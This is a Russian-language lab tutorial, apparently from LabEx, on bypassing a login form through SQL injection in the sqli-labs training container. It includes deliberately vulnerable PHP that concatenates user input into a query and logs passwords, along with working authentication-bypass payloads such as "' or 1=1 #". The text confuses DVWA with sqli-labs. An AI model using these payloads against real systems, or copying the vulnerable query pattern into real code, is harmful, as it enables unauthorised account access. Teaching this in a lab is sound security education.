Эксплуатация SQL-инъекции для обхода аутентификации
В этом лабораторном занятии (LabEx) мы углубимся в уязвимости SQL-инъекции. Наша цель - показать, как эксплуатировать эти уязвимости для обхода аутентификации при входе в систему, техника, часто называемая "универсальным парольным" атакой.
Подготовка лабораторной среды
Для начала нам нужно подготовить лабораторную среду. Мы будем использовать Damn Vulnerable Web Application (DVWA) - это веб-приложение на PHP/MySQL, специально разработанное с умышленными уязвимостями, что делает его идеальным инструментом для изучения безопасности веб-приложений.
-
Скачайте Docker-образ sqli-labs: Docker-образ sqli-labs доступен для скачивания на Docker Hub. Используйте следующую команду в терминале для его загрузки:
docker pull acgpiano/sqli-labs
-
Запустите Docker-контейнер sqli-labs: После скачивания образа запустите его с помощью следующей команды:
docker run -it -d --name sqli-labs -p 80:80 -p 13306:3306 acgpiano/sqli-labs
Эта команда запускает новый контейнер и сопоставляет порт 80 и 3306 в контейнере с портами 80 и 13306 на вашем хост-компьютере соответственно.
Следуя этим шагам, вы успешно настроили необходимую лабораторную среду.
После завершения настройки откройте браузер Firefox и введите в адресную строку http://localhost
.
Если вы впервые заходите на http://localhost
, нажмите на Setup/reset Database for lab
, чтобы подготовить лабораторную среду, а затем обновите страницу.
Определение SQL-инъекции
Теперь, когда вы нажимаете на Less-11, вы должны увидеть простую страницу входа. Попробуйте ввести произвольное имя пользователя 123
и пароль 123
.
Страница ошибки сообщит: "Invalid username or password" (Неверное имя пользователя или пароль).
Анализ бэкенд-кода
Рассмотрим бэкенд-код, ответственный за процесс аутентификации:
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
....
}
Фактический SQL-запрос, который выполняется:
SELECT * FROM users WHERE username='123' AND password='123' LIMIT 0,1
Этот запрос прост в понимании: если он возвращает строку, в которой совпадают как username
, так и password
, то вход в систему успешен.
Эксплуатация уязвимости
Исходя из знаний предыдущего лабораторного занятия, попробуем ввести следующий пейлоад (набор данных для атаки):
Имя пользователя: 123' or 1=1 #
Пароль: 123' or 1=1 #
Интересно, что это позволяет нам успешно войти в систему! Причина этого заключается в том, что фактический SQL-запрос, который выполняется:
SELECT * FROM users WHERE username='123' or 1=1 #' AND password='123' or 1=1 #'
В MySQL символ #
используется для комментирования остальной части строки, поэтому запрос фактически становится:
SELECT * FROM users WHERE username='123' or 1=1
Поскольку условие or 1=1
всегда истинно, запрос всегда вернет результат, что приводит к успешному входу в систему.
Мы также можем поэкспериментировать с вариантом, который не использует символ комментария:
Имя пользователя: 123' or '1'='1
Пароль: 123' or '1'='1
Тогда выполняемый SQL-запрос будет:
SELECT * FROM users WHERE username='123' or '1'='1' AND password='123' or '1'='1'
В этом случае два условия or
гарантируют, что условие and
между ними всегда истинно, что также приводит к успешному входу в систему.
Заключение
Как показано выше, существует множество методов, которые можно использовать для эксплуатации уязвимостей SQL-инъекции и обхода аутентификации. Не стесняйтесь исследовать и экспериментировать с разными пейлоадами. Цель здесь - понять эти уязвимости, чтобы вы могли лучше защитить свои собственные приложения от них. Приятного этического хакерства!